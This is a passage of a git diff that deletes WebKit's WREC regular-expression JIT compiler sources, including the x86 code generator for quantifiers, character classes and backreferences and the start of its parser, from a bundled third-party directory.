-        GeneratePatternCharacterFunctor(const UChar ch)
-            : m_ch(ch)
-        {
-        }
-
-        virtual void generateAtom(Generator*, Generator::JumpList&);
-        virtual void backtrack(Generator*);
-
-    private:
-        const UChar m_ch;
-    };
-
-    class GenerateCharacterClassFunctor : public GenerateAtomFunctor {
-    public:
-        GenerateCharacterClassFunctor(const CharacterClass* charClass, bool invert)
-            : m_charClass(charClass)
-            , m_invert(invert)
-        {
-        }
-
-        virtual void generateAtom(Generator*, Generator::JumpList&);
-        virtual void backtrack(Generator*);
-
-    private:
-        const CharacterClass* m_charClass;
-        bool m_invert;
-    };
-
-    class GenerateBackreferenceFunctor : public GenerateAtomFunctor {
-    public:
-        GenerateBackreferenceFunctor(unsigned subpatternId)
-            : m_subpatternId(subpatternId)
-        {
-        }
-
-        virtual void generateAtom(Generator*, Generator::JumpList&);
-        virtual void backtrack(Generator*);
-
-    private:
-        unsigned m_subpatternId;
-    };
-
-    class GenerateParenthesesNonGreedyFunctor : public GenerateAtomFunctor {
-    public:
-        GenerateParenthesesNonGreedyFunctor(Generator::Label start, Generator::Jump success, Generator::Jump fail)
-            : m_start(start)
-            , m_success(success)
-            , m_fail(fail)
-        {
-        }
-
-        virtual void generateAtom(Generator*, Generator::JumpList&);
-        virtual void backtrack(Generator*);
-
-    private:
-        Generator::Label m_start;
-        Generator::Jump m_success;
-        Generator::Jump m_fail;
-    };
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECGenerator.cpp b/src/3rdparty/webkit/JavaScriptCore/wrec/WRECGenerator.cpp
deleted file mode 100644
index e62add3..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECGenerator.cpp
+++ /dev/null
@@ -1,653 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "WREC.h"
-
-#if ENABLE(WREC)
-
-#include "CharacterClassConstructor.h"
-#include "Interpreter.h"
-#include "WRECFunctors.h"
-#include "WRECParser.h"
-#include "pcre_internal.h"
-
-using namespace WTF;
-
-namespace JSC { namespace WREC {
-
-void Generator::generateEnter()
-{
-#if PLATFORM(X86)
-    // On x86 edi & esi are callee preserved registers.
-    push(X86Registers::edi);
-    push(X86Registers::esi);
-    
-#if COMPILER(MSVC)
-    // Move the arguments into registers.
-    peek(input, 3);
-    peek(index, 4);
-    peek(length, 5);
-    peek(output, 6);
-#else
-    // On gcc the function is regparm(3), so the input, index, and length registers
-    // (eax, edx, and ecx respectively) already contain the appropriate values.
-    // Just load the fourth argument (output) into edi
-    peek(output, 3);
-#endif
-#endif
-}
-
-void Generator::generateReturnSuccess()
-{
-    ASSERT(returnRegister != index);
-    ASSERT(returnRegister != output);
-
-    // Set return value.
-    pop(returnRegister); // match begin
-    store32(returnRegister, output);
-    store32(index, Address(output, 4)); // match end
-    
-    // Restore callee save registers.
-#if PLATFORM(X86)
-    pop(X86Registers::esi);
-    pop(X86Registers::edi);
-#endif
-    ret();
-}
-
-void Generator::generateSaveIndex()
-{
-    push(index);
-}
-
-void Generator::generateIncrementIndex(Jump* failure)
-{
-    peek(index);
-    if (failure)
-        *failure = branch32(Equal, length, index);
-    add32(Imm32(1), index);
-    poke(index);
-}
-
-void Generator::generateLoadCharacter(JumpList& failures)
-{
-    failures.append(branch32(Equal, length, index));
-    load16(BaseIndex(input, index, TimesTwo), character);
-}
-
-// For the sake of end-of-line assertions, we treat one-past-the-end as if it
-// were part of the input string.
-void Generator::generateJumpIfNotEndOfInput(Label target)
-{
-    branch32(LessThanOrEqual, index, length, target);
-}
-
-void Generator::generateReturnFailure()
-{
-    pop();
-    move(Imm32(-1), returnRegister);
-
-#if PLATFORM(X86)
-    pop(X86Registers::esi);
-    pop(X86Registers::edi);
-#endif
-    ret();
-}
-
-void Generator::generateBacktrack1()
-{
-    sub32(Imm32(1), index);
-}
-
-void Generator::generateBacktrackBackreference(unsigned subpatternId)
-{
-    sub32(Address(output, (2 * subpatternId + 1) * sizeof(int)), index);
-    add32(Address(output, (2 * subpatternId) * sizeof(int)), index);
-}
-
-void Generator::generateBackreferenceQuantifier(JumpList& failures, Quantifier::Type quantifierType, unsigned subpatternId, unsigned min, unsigned max)
-{
-    GenerateBackreferenceFunctor functor(subpatternId);
-
-    load32(Address(output, (2 * subpatternId) * sizeof(int)), character);
-    Jump skipIfEmpty = branch32(Equal, Address(output, ((2 * subpatternId) + 1) * sizeof(int)), character);
-
-    ASSERT(quantifierType == Quantifier::Greedy || quantifierType == Quantifier::NonGreedy);
-    if (quantifierType == Quantifier::Greedy)
-        generateGreedyQuantifier(failures, functor, min, max);
-    else
-        generateNonGreedyQuantifier(failures, functor, min, max);
-
-    skipIfEmpty.link(this);
-}
-
-void Generator::generateNonGreedyQuantifier(JumpList& failures, GenerateAtomFunctor& functor, unsigned min, unsigned max)
-{
-    JumpList atomFailedList;
-    JumpList alternativeFailedList;
-
-    // (0) Setup: Save, then init repeatCount.
-    push(repeatCount);
-    move(Imm32(0), repeatCount);
-    Jump start = jump();
-
-    // (4) Quantifier failed: No more atom reading possible.
-    Label quantifierFailed(this);
-    pop(repeatCount);
-    failures.append(jump()); 
-
-    // (3) Alternative failed: If we can, read another atom, then fall through to (2) to try again.
-    Label alternativeFailed(this);
-    pop(index);
-    if (max != Quantifier::Infinity)
-        branch32(Equal, repeatCount, Imm32(max), quantifierFailed);
-
-    // (1) Read an atom.
-    if (min)
-        start.link(this);
-    Label readAtom(this);
-    functor.generateAtom(this, atomFailedList);
-    atomFailedList.linkTo(quantifierFailed, this);
-    add32(Imm32(1), repeatCount);
-    
-    // (2) Keep reading if we're under the minimum.
-    if (min > 1)
-        branch32(LessThan, repeatCount, Imm32(min), readAtom);
-
-    // (3) Test the rest of the alternative.
-    if (!min)
-        start.link(this);
-    push(index);
-    m_parser.parseAlternative(alternativeFailedList);
-    alternativeFailedList.linkTo(alternativeFailed, this);
-
-    pop();
-    pop(repeatCount);
-}
-
-void Generator::generateGreedyQuantifier(JumpList& failures, GenerateAtomFunctor& functor, unsigned min, unsigned max)
-{
-    if (!max)
-        return;
-
-    JumpList doneReadingAtomsList;
-    JumpList alternativeFailedList;
-
-    // (0) Setup: Save, then init repeatCount.
-    push(repeatCount);
-    move(Imm32(0), repeatCount);
-
-    // (1) Greedily read as many copies of the atom as possible, then jump to (2).
-    Label readAtom(this);
-    functor.generateAtom(this, doneReadingAtomsList);
-    add32(Imm32(1), repeatCount);
-    if (max == Quantifier::Infinity)
-        jump(readAtom);
-    else if (max == 1)
-        doneReadingAtomsList.append(jump());
-    else {
-        branch32(NotEqual, repeatCount, Imm32(max), readAtom);
-        doneReadingAtomsList.append(jump());
-    }
-
-    // (5) Quantifier failed: No more backtracking possible.
-    Label quantifierFailed(this);
-    pop(repeatCount);
-    failures.append(jump()); 
-
-    // (4) Alternative failed: Backtrack, then fall through to (2) to try again.
-    Label alternativeFailed(this);
-    pop(index);
-    functor.backtrack(this);
-    sub32(Imm32(1), repeatCount);
-
-    // (2) Verify that we have enough atoms.
-    doneReadingAtomsList.link(this);
-    branch32(LessThan, repeatCount, Imm32(min), quantifierFailed);
-
-    // (3) Test the rest of the alternative.
-    push(index);
-    m_parser.parseAlternative(alternativeFailedList);
-    alternativeFailedList.linkTo(alternativeFailed, this);
-
-    pop();
-    pop(repeatCount);
-}
-
-void Generator::generatePatternCharacterSequence(JumpList& failures, int* sequence, size_t count)
-{
-    for (size_t i = 0; i < count;) {
-        if (i < count - 1) {
-            if (generatePatternCharacterPair(failures, sequence[i], sequence[i + 1])) {
-                i += 2;
-                continue;
-            }
-        }
-
-        generatePatternCharacter(failures, sequence[i]);
-        ++i;
-    }
-}
-
-bool Generator::generatePatternCharacterPair(JumpList& failures, int ch1, int ch2)
-{
-    if (m_parser.ignoreCase()) {
-        // Non-trivial case folding requires more than one test, so we can't
-        // test as a pair with an adjacent character.
-        if (!isASCII(ch1) && Unicode::toLower(ch1) != Unicode::toUpper(ch1))
-            return false;
-        if (!isASCII(ch2) && Unicode::toLower(ch2) != Unicode::toUpper(ch2))
-            return false;
-    }
-
-    // Optimistically consume 2 characters.
-    add32(Imm32(2), index);
-    failures.append(branch32(GreaterThan, index, length));
-
-    // Load the characters we just consumed, offset -2 characters from index.
-    load32(BaseIndex(input, index, TimesTwo, -2 * 2), character);
-
-    if (m_parser.ignoreCase()) {
-        // Convert ASCII alphabet characters to upper case before testing for
-        // equality. (ASCII non-alphabet characters don't require upper-casing
-        // because they have no uppercase equivalents. Unicode characters don't
-        // require upper-casing because we only handle Unicode characters whose
-        // upper and lower cases are equal.)
-        int ch1Mask = 0;
-        if (isASCIIAlpha(ch1)) {
-            ch1 |= 32;
-            ch1Mask = 32;
-        }
-
-        int ch2Mask = 0;
-        if (isASCIIAlpha(ch2)) {
-            ch2 |= 32;
-            ch2Mask = 32;
-        }
-
-        int mask = ch1Mask | (ch2Mask << 16);
-        if (mask)
-            or32(Imm32(mask), character);
-    }
-    int pair = ch1 | (ch2 << 16);
-
-    failures.append(branch32(NotEqual, character, Imm32(pair)));
-    return true;
-}
-
-void Generator::generatePatternCharacter(JumpList& failures, int ch)
-{
-    generateLoadCharacter(failures);
-
-    // used for unicode case insensitive
-    bool hasUpper = false;
-    Jump isUpper;
-    
-    // if case insensitive match
-    if (m_parser.ignoreCase()) {
-        UChar lower, upper;
-        
-        // check for ascii case sensitive characters
-        if (isASCIIAlpha(ch)) {
-            or32(Imm32(32), character);
-            ch |= 32;
-        } else if (!isASCII(ch) && ((lower = Unicode::toLower(ch)) != (upper = Unicode::toUpper(ch)))) {
-            // handle unicode case sentitive characters - branch to success on upper
-            isUpper = branch32(Equal, character, Imm32(upper));
-            hasUpper = true;
-            ch = lower;
-        }
-    }
-    
-    // checks for ch, or lower case version of ch, if insensitive
-    failures.append(branch32(NotEqual, character, Imm32((unsigned short)ch)));
-
-    if (m_parser.ignoreCase() && hasUpper) {
-        // for unicode case insensitive matches, branch here if upper matches.
-        isUpper.link(this);
-    }
-    
-    // on success consume the char
-    add32(Imm32(1), index);
-}
-
-void Generator::generateCharacterClassInvertedRange(JumpList& failures, JumpList& matchDest, const CharacterRange* ranges, unsigned count, unsigned* matchIndex, const UChar* matches, unsigned matchCount)
-{
-    do {
-        // pick which range we're going to generate
-        int which = count >> 1;
-        char lo = ranges[which].begin;
-        char hi = ranges[which].end;
-        
-        // check if there are any ranges or matches below lo.  If not, just jl to failure -
-        // if there is anything else to check, check that first, if it falls through jmp to failure.
-        if ((*matchIndex < matchCount) && (matches[*matchIndex] < lo)) {
-            Jump loOrAbove = branch32(GreaterThanOrEqual, character, Imm32((unsigned short)lo));
-            
-            // generate code for all ranges before this one
-            if (which)
-                generateCharacterClassInvertedRange(failures, matchDest, ranges, which, matchIndex, matches, matchCount);
-            
-            while ((*matchIndex < matchCount) && (matches[*matchIndex] < lo)) {
-                matchDest.append(branch32(Equal, character, Imm32((unsigned short)matches[*matchIndex])));
-                ++*matchIndex;
-            }
-            failures.append(jump());
-
-            loOrAbove.link(this);
-        } else if (which) {
-            Jump loOrAbove = branch32(GreaterThanOrEqual, character, Imm32((unsigned short)lo));
-
-            generateCharacterClassInvertedRange(failures, matchDest, ranges, which, matchIndex, matches, matchCount);
-            failures.append(jump());
-
-            loOrAbove.link(this);
-        } else
-            failures.append(branch32(LessThan, character, Imm32((unsigned short)lo)));
-
-        while ((*matchIndex < matchCount) && (matches[*matchIndex] <= hi))
-            ++*matchIndex;
-
-        matchDest.append(branch32(LessThanOrEqual, character, Imm32((unsigned short)hi)));
-        // fall through to here, the value is above hi.
-
-        // shuffle along & loop around if there are any more matches to handle.
-        unsigned next = which + 1;
-        ranges += next;
-        count -= next;
-    } while (count);
-}
-
-void Generator::generateCharacterClassInverted(JumpList& matchDest, const CharacterClass& charClass)
-{
-    Jump unicodeFail;
-    if (charClass.numMatchesUnicode || charClass.numRangesUnicode) {
-        Jump isAscii = branch32(LessThanOrEqual, character, Imm32(0x7f));
-    
-        if (charClass.numMatchesUnicode) {
-            for (unsigned i = 0; i < charClass.numMatchesUnicode; ++i) {
-                UChar ch = charClass.matchesUnicode[i];
-                matchDest.append(branch32(Equal, character, Imm32(ch)));
-            }
-        }
-        
-        if (charClass.numRangesUnicode) {
-            for (unsigned i = 0; i < charClass.numRangesUnicode; ++i) {
-                UChar lo = charClass.rangesUnicode[i].begin;
-                UChar hi = charClass.rangesUnicode[i].end;
-                
-                Jump below = branch32(LessThan, character, Imm32(lo));
-                matchDest.append(branch32(LessThanOrEqual, character, Imm32(hi)));
-                below.link(this);
-            }
-        }
-
-        unicodeFail = jump();
-        isAscii.link(this);
-    }
-
-    if (charClass.numRanges) {
-        unsigned matchIndex = 0;
-        JumpList failures; 
-        generateCharacterClassInvertedRange(failures, matchDest, charClass.ranges, charClass.numRanges, &matchIndex, charClass.matches, charClass.numMatches);
-        while (matchIndex < charClass.numMatches)
-            matchDest.append(branch32(Equal, character, Imm32((unsigned short)charClass.matches[matchIndex++])));
-
-        failures.link(this);
-    } else if (charClass.numMatches) {
-        // optimization: gather 'a','A' etc back together, can mask & test once.
-        Vector<char> matchesAZaz;
-
-        for (unsigned i = 0; i < charClass.numMatches; ++i) {
-            char ch = charClass.matches[i];
-            if (m_parser.ignoreCase()) {
-                if (isASCIILower(ch)) {
-                    matchesAZaz.append(ch);
-                    continue;
-                }
-                if (isASCIIUpper(ch))
-                    continue;
-            }
-            matchDest.append(branch32(Equal, character, Imm32((unsigned short)ch)));
-        }
-
-        if (unsigned countAZaz = matchesAZaz.size()) {
-            or32(Imm32(32), character);
-            for (unsigned i = 0; i < countAZaz; ++i)
-                matchDest.append(branch32(Equal, character, Imm32(matchesAZaz[i])));
-        }
-    }
-
-    if (charClass.numMatchesUnicode || charClass.numRangesUnicode)
-        unicodeFail.link(this);
-}
-
-void Generator::generateCharacterClass(JumpList& failures, const CharacterClass& charClass, bool invert)
-{
-    generateLoadCharacter(failures);
-
-    if (invert)
-        generateCharacterClassInverted(failures, charClass);
-    else {
-        JumpList successes;
-        generateCharacterClassInverted(successes, charClass);
-        failures.append(jump());
-        successes.link(this);
-    }
-    
-    add32(Imm32(1), index);
-}
-
-void Generator::generateParenthesesAssertion(JumpList& failures)
-{
-    JumpList disjunctionFailed;
-
-    push(index);
-    m_parser.parseDisjunction(disjunctionFailed);
-    Jump success = jump();
-
-    disjunctionFailed.link(this);
-    pop(index);
-    failures.append(jump());
-
-    success.link(this);
-    pop(index);
-}
-
-void Generator::generateParenthesesInvertedAssertion(JumpList& failures)
-{
-    JumpList disjunctionFailed;
-
-    push(index);
-    m_parser.parseDisjunction(disjunctionFailed);
-
-    // If the disjunction succeeded, the inverted assertion failed.
-    pop(index);
-    failures.append(jump());
-
-    // If the disjunction failed, the inverted assertion succeeded.
-    disjunctionFailed.link(this);
-    pop(index);
-}
-
-void Generator::generateParenthesesNonGreedy(JumpList& failures, Label start, Jump success, Jump fail)
-{
-    jump(start);
-    success.link(this);
-    failures.append(fail);
-}
-
-Generator::Jump Generator::generateParenthesesResetTrampoline(JumpList& newFailures, unsigned subpatternIdBefore, unsigned subpatternIdAfter)
-{
-    Jump skip = jump();
-    newFailures.link(this);
-    for (unsigned i = subpatternIdBefore + 1; i <= subpatternIdAfter; ++i) {
-        store32(Imm32(-1), Address(output, (2 * i) * sizeof(int)));
-        store32(Imm32(-1), Address(output, (2 * i + 1) * sizeof(int)));
-    }
-    
-    Jump newFailJump = jump();
-    skip.link(this);
-    
-    return newFailJump;
-}
-
-void Generator::generateAssertionBOL(JumpList& failures)
-{
-    if (m_parser.multiline()) {
-        JumpList previousIsNewline;
-
-        // begin of input == success
-        previousIsNewline.append(branch32(Equal, index, Imm32(0)));
-
-        // now check prev char against newline characters.
-        load16(BaseIndex(input, index, TimesTwo, -2), character);
-        generateCharacterClassInverted(previousIsNewline, CharacterClass::newline());
-
-        failures.append(jump());
-
-        previousIsNewline.link(this);
-    } else
-        failures.append(branch32(NotEqual, index, Imm32(0)));
-}
-
-void Generator::generateAssertionEOL(JumpList& failures)
-{
-    if (m_parser.multiline()) {
-        JumpList nextIsNewline;
-
-        generateLoadCharacter(nextIsNewline); // end of input == success
-        generateCharacterClassInverted(nextIsNewline, CharacterClass::newline());
-        failures.append(jump());
-        nextIsNewline.link(this);
-    } else {
-        failures.append(branch32(NotEqual, length, index));
-    }
-}
-
-void Generator::generateAssertionWordBoundary(JumpList& failures, bool invert)
-{
-    JumpList wordBoundary;
-    JumpList notWordBoundary;
-
-    // (1) Check if the previous value was a word char
-
-    // (1.1) check for begin of input
-    Jump atBegin = branch32(Equal, index, Imm32(0));
-    // (1.2) load the last char, and chck if is word character
-    load16(BaseIndex(input, index, TimesTwo, -2), character);
-    JumpList previousIsWord;
-    generateCharacterClassInverted(previousIsWord, CharacterClass::wordchar());
-    // (1.3) if we get here, previous is not a word char
-    atBegin.link(this);
-
-    // (2) Handle situation where previous was NOT a \w
-
-    generateLoadCharacter(notWordBoundary);
-    generateCharacterClassInverted(wordBoundary, CharacterClass::wordchar());
-    // (2.1) If we get here, neither chars are word chars
-    notWordBoundary.append(jump());
-
-    // (3) Handle situation where previous was a \w
-
-    // (3.0) link success in first match to here
-    previousIsWord.link(this);
-    generateLoadCharacter(wordBoundary);
-    generateCharacterClassInverted(notWordBoundary, CharacterClass::wordchar());
-    // (3.1) If we get here, this is an end of a word, within the input.
-    
-    // (4) Link everything up
-    
-    if (invert) {
-        // handle the fall through case
-        wordBoundary.append(jump());
-    
-        // looking for non word boundaries, so link boundary fails to here.
-        notWordBoundary.link(this);
-
-        failures.append(wordBoundary);
-    } else {
-        // looking for word boundaries, so link successes here.
-        wordBoundary.link(this);
-        
-        failures.append(notWordBoundary);
-    }
-}
-
-void Generator::generateBackreference(JumpList& failures, unsigned subpatternId)
-{
-    push(index);
-    push(repeatCount);
-
-    // get the start pos of the backref into repeatCount (multipurpose!)
-    load32(Address(output, (2 * subpatternId) * sizeof(int)), repeatCount);
-
-    Jump skipIncrement = jump();
-    Label topOfLoop(this);
-
-    add32(Imm32(1), index);
-    add32(Imm32(1), repeatCount);
-    skipIncrement.link(this);
-
-    // check if we're at the end of backref (if we are, success!)
-    Jump endOfBackRef = branch32(Equal, Address(output, ((2 * subpatternId) + 1) * sizeof(int)), repeatCount);
-
-    load16(BaseIndex(input, repeatCount, MacroAssembler::TimesTwo), character);
-
-    // check if we've run out of input (this would be a can o'fail)
-    Jump endOfInput = branch32(Equal, length, index);
-
-    branch16(Equal, BaseIndex(input, index, TimesTwo), character, topOfLoop);
-
-    endOfInput.link(this);
-
-    // Failure
-    pop(repeatCount);
-    pop(index);
-    failures.append(jump());
-
-    // Success
-    endOfBackRef.link(this);
-    pop(repeatCount);
-    pop();
-}
-
-void Generator::terminateAlternative(JumpList& successes, JumpList& failures)
-{
-    successes.append(jump());
-    
-    failures.link(this);
-    peek(index);
-}
-
-void Generator::terminateDisjunction(JumpList& successes)
-{
-    successes.link(this);
-}
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECGenerator.h b/src/3rdparty/webkit/JavaScriptCore/wrec/WRECGenerator.h
deleted file mode 100644
index 294c3d0..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECGenerator.h
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef WRECGenerator_h
-#define WRECGenerator_h
-
-#include <wtf/Platform.h>
-
-#if ENABLE(WREC)
-
-#include "Quantifier.h"
-#include "MacroAssembler.h"
-#include <wtf/ASCIICType.h>
-#include <wtf/unicode/Unicode.h>
-#include "WREC.h"
-
-namespace JSC { 
-
-    class JSGlobalData;
-
-    namespace WREC {
-
-    class CharacterRange;
-    class GenerateAtomFunctor;
-    class Parser;
-    struct CharacterClass;
-
-    class Generator : private MacroAssembler {
-    public:
-        using MacroAssembler::Jump;
-        using MacroAssembler::JumpList;
-        using MacroAssembler::Label;
-
-        enum ParenthesesType { Capturing, NonCapturing, Assertion, InvertedAssertion, Error };
-
-        static CompiledRegExp compileRegExp(JSGlobalData*, const UString& pattern, unsigned* numSubpatterns_ptr, const char** error_ptr, RefPtr<ExecutablePool>& pool, bool ignoreCase = false, bool multiline = false);
-    
-        Generator(Parser& parser)
-            : m_parser(parser)
-        {
-        }
-
-#if PLATFORM(X86)
-        static const RegisterID input = X86Registers::eax;
-        static const RegisterID index = X86Registers::edx;
-        static const RegisterID length = X86Registers::ecx;
-        static const RegisterID output = X86Registers::edi;
-
-        static const RegisterID character = X86Registers::esi;
-        static const RegisterID repeatCount = X86Registers::ebx; // How many times the current atom repeats in the current match.
-
-        static const RegisterID returnRegister = X86Registers::eax;
-#endif
-#if PLATFORM(X86_64)
-        static const RegisterID input = X86Registers::edi;
-        static const RegisterID index = X86Registers::esi;
-        static const RegisterID length = X86Registers::edx;
-        static const RegisterID output = X86Registers::ecx;
-
-        static const RegisterID character = X86Registers::eax;
-        static const RegisterID repeatCount = X86Registers::ebx; // How many times the current atom repeats in the current match.
-
-        static const RegisterID returnRegister = X86Registers::eax;
-#endif
-
-        void generateEnter();
-        void generateSaveIndex();
-        void generateIncrementIndex(Jump* failure = 0);
-        void generateLoadCharacter(JumpList& failures);
-        void generateJumpIfNotEndOfInput(Label);
-        void generateReturnSuccess();
-        void generateReturnFailure();
-
-        void generateGreedyQuantifier(JumpList& failures, GenerateAtomFunctor& functor, unsigned min, unsigned max);
-        void generateNonGreedyQuantifier(JumpList& failures, GenerateAtomFunctor& functor, unsigned min, unsigned max);
-        void generateBacktrack1();
-        void generateBacktrackBackreference(unsigned subpatternId);
-        void generateCharacterClass(JumpList& failures, const CharacterClass& charClass, bool invert);
-        void generateCharacterClassInverted(JumpList& failures, const CharacterClass& charClass);
-        void generateCharacterClassInvertedRange(JumpList& failures, JumpList& matchDest, const CharacterRange* ranges, unsigned count, unsigned* matchIndex, const UChar* matches, unsigned matchCount);
-        void generatePatternCharacter(JumpList& failures, int ch);
-        void generatePatternCharacterSequence(JumpList& failures, int* sequence, size_t count);
-        void generateAssertionWordBoundary(JumpList& failures, bool invert);
-        void generateAssertionBOL(JumpList& failures);
-        void generateAssertionEOL(JumpList& failures);
-        void generateBackreference(JumpList& failures, unsigned subpatternID);
-        void generateBackreferenceQuantifier(JumpList& failures, Quantifier::Type quantifierType, unsigned subpatternId, unsigned min, unsigned max);
-        void generateParenthesesAssertion(JumpList& failures);
-        void generateParenthesesInvertedAssertion(JumpList& failures);
-        Jump generateParenthesesResetTrampoline(JumpList& newFailures, unsigned subpatternIdBefore, unsigned subpatternIdAfter);
-        void generateParenthesesNonGreedy(JumpList& failures, Label start, Jump success, Jump fail);
-
-        void terminateAlternative(JumpList& successes, JumpList& failures);
-        void terminateDisjunction(JumpList& successes);
-
-    private:
-        bool generatePatternCharacterPair(JumpList& failures, int ch1, int ch2);
-
-        Parser& m_parser;
-    };
-
-} } // namespace JSC::WREC
-
-#endif // ENABLE(WREC)
-
-#endif // WRECGenerator_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECParser.cpp b/src/3rdparty/webkit/JavaScriptCore/wrec/WRECParser.cpp
deleted file mode 100644
index 1709bf9..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wrec/WRECParser.cpp
+++ /dev/null
@@ -1,643 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "WRECParser.h"
-
-#if ENABLE(WREC)
-
-#include "CharacterClassConstructor.h"
-#include "WRECFunctors.h"
-
-using namespace WTF;
-
-namespace JSC { namespace WREC {
-
-// These error messages match the error messages used by PCRE.
-const char* Parser::QuantifierOutOfOrder = "numbers out of order in {} quantifier";
-const char* Parser::QuantifierWithoutAtom = "nothing to repeat";
-const char* Parser::ParenthesesUnmatched = "unmatched parentheses";
-const char* Parser::ParenthesesTypeInvalid = "unrecognized character after (?";
-const char* Parser::ParenthesesNotSupported = ""; // Not a user-visible syntax error -- just signals a syntax that WREC doesn't support yet.
-const char* Parser::CharacterClassUnmatched = "missing terminating ] for character class";
-const char* Parser::CharacterClassOutOfOrder = "range out of order in character class";
-const char* Parser::EscapeUnterminated = "\\ at end of pattern";
-
-class PatternCharacterSequence {
-typedef Generator::JumpList JumpList;
-
-public:
-    PatternCharacterSequence(Generator& generator, JumpList& failures)
-        : m_generator(generator)
-        , m_failures(failures)
-    {
-    }
-    
-    size_t size() { return m_sequence.size(); }
-    
-    void append(int ch)
-    {
-        m_sequence.append(ch);
-    }
-    
-    void flush()
-    {
-        if (!m_sequence.size())
-            return;
-
-        m_generator.generatePatternCharacterSequence(m_failures, m_sequence.begin(), m_sequence.size());
-        m_sequence.clear();
-    }
-
-    void flush(const Quantifier& quantifier)
-    {
-        if (!m_sequence.size())
-            return;
-
-        m_generator.generatePatternCharacterSequence(m_failures, m_sequence.begin(), m_sequence.size() - 1);
-
-        switch (quantifier.type) {
-        case Quantifier::None:
-        case Quantifier::Error:
-            ASSERT_NOT_REACHED();
-            break;
-
-        case Quantifier::Greedy: {
-            GeneratePatternCharacterFunctor functor(m_sequence.last());
-            m_generator.generateGreedyQuantifier(m_failures, functor, quantifier.min, quantifier.max);
-            break;
-        }
-        
-        case Quantifier::NonGreedy: {
-            GeneratePatternCharacterFunctor functor(m_sequence.last());
-            m_generator.generateNonGreedyQuantifier(m_failures, functor, quantifier.min, quantifier.max);
-            break;
-        }
-        }
